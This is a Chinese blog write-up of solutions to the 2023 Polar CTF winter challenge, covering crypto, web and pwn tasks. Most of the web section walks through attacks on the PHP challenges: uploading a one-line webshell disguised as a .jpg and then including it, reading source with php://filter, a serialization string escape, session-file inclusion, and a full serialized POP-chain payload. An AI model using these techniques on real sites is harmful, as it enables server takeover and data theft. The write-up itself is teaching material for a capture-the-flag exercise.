2023Polar CTF冬季个人挑战赛部分wp
第一次参加polarctf的比赛,做的不好,把做出来的题目wp传上来和大家分享做题方法,哪里有错还请大佬指教。
题目还能复现的,在平台上就能做
misc
1-1 签到喵
crypto
2-5base
需要base64换表
先将j2rXjx8wSZjD根据给出的密码表进行替换成正常的base
然后base解码
2-6AFF
仿射加密法
题目输出没给,只能爆破a和b
采用爆破的方法,寻找满足的flag
这里都要转换成小写字母,因为后面ascci码-65操作的
web
3-1 cool
3-5 ezphp
暴露给爬虫了,联想到robots.txt
File.php 一个文件包含
upload.php 一个文件上传
上传一个文件名为shell.jpg,文件内容为一句话木马
然后文件包含就行
3-6 你的马呢?
http://fb602834-16d0-4a66-ad42-cab8127f56f3.www.polarctf.com:8090/index.php?file=php://filter/read=convert.base64-encode/resource=upload.phphttp://fb602834-16d0-4a66-ad42-cab8127f56f3.www.polarctf.com:8090/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php
有文件内容检测
用<?=代替<?php
上传一个文件名为shell.jpg,文件内容为一句话木马
然后文件包含就行
3-8 phpurl
这里有一个url解码操作,用burpsuite将xss进行两次url编码
Payload: index.php?sys=%2578%2578%2573
flag{5caecd63b7dca4bcee15d262eb3af4f4}
3-10 你想逃也逃不掉
源码如下
<?php
/*
https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';
$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo file_get_contents('flag.php');
}
需要构造字符串逃逸去绕过
参数如下
3-11 safe_include
思路:构造一句话写入session
根据 参数包含 /tmp/sess_写入值
题目源码
<?php
show_source(__FILE__);
@session_start();
ini_set('open_basedir', '/var/www/html/:/tmp/');
$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
$sys = $_GET['xxs'];
}
@include $sys;
$_SESSION['xxs'] = $sys;
先进行构造参数一句话木马
再包含 ?xxs=/tmp/sess_45127ho2viath8q3602pobfu71
成功读取flag
3-12 苦海
反序列化,构造pop链
<?php
class User
{
public $name;
public $flag;
}
class FileRobot
{
public $filename = '../flag.php';
public $path;
}
class Surrender
{
private $phone;
public $promise;
}
$user = new User();
$s = new Surrender();
$f1 = new FileRobot();
$f2 = new FileRobot();
$f1->path = $f2;
$user->name = $s;
$user->name->file = ['filename' => $f1];
// 序列化和输出
echo urlencode(serialize($user));
利用如下pop:
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3BN%3Bs%3A7%3A%22promise%22%3BN%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3BN%3B%7D
获得:hi, Welcome to Polar D&N ~ PD9waHAgDQoJJGZsYWcgPSAnZmxhZ3s2M2RkMGU5ZmJhZGQ2NjM1NDJhMmY4ZWExY2NjNjc2NX0nOw0KCT8+
Base64解密得到flag
pwn
5-4 look
32位程序,开了栈不可执行
用Ida反编译
在start函数中存在栈溢出漏洞
但程序没有可以获取shell的函数,要先泄露libc,找到system,再通过栈溢出getshell
简单的32位ret2libc
Exp:
5-10 05ret2libc_64
64位的程序,开了NX
用ida反编译
通过分析在putting函数中发现存在栈溢出漏洞
但程序没有可以获取shell的函数,要先通过泄露libc地址,来找到sytem,再通过栈核栈溢出,来执行system(“/bin/sh”)
64位的Ret2libc
EXp:
__EOF__

本文链接:https://www.cnblogs.com/XFocus/p/18543186.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理